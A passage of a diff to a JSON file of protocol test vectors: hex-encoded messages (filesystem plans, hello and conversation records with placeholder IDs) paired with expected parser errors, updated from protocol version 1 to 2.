"unknown_type" }, { @@ -397,19 +502,19 @@ { "name": "plan-protocol-2", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": "bad_field" }, { "name": "plan-unsorted-nested-keys", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", "error": "malformed" }, { "name": "hello-wrong-serial", "direction": "up", - "hex": "574d583101010000010000008b0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008b0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "error": "bad_field" }, { @@ -421,409 +526,409 @@ { "name": "conversations-two-host-query-conversations", "direction": "down", - "hex": "574d58310101000001000000040b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006d0b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-empty-list", "direction": "down", - "hex": "574d58310101000001000000f50000007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b5d7d", + "hex": "574d58310101000001000000060100007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "conversations-seventeen-items", "direction": "down", - "hex": "574d58310101000001000000c31f00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d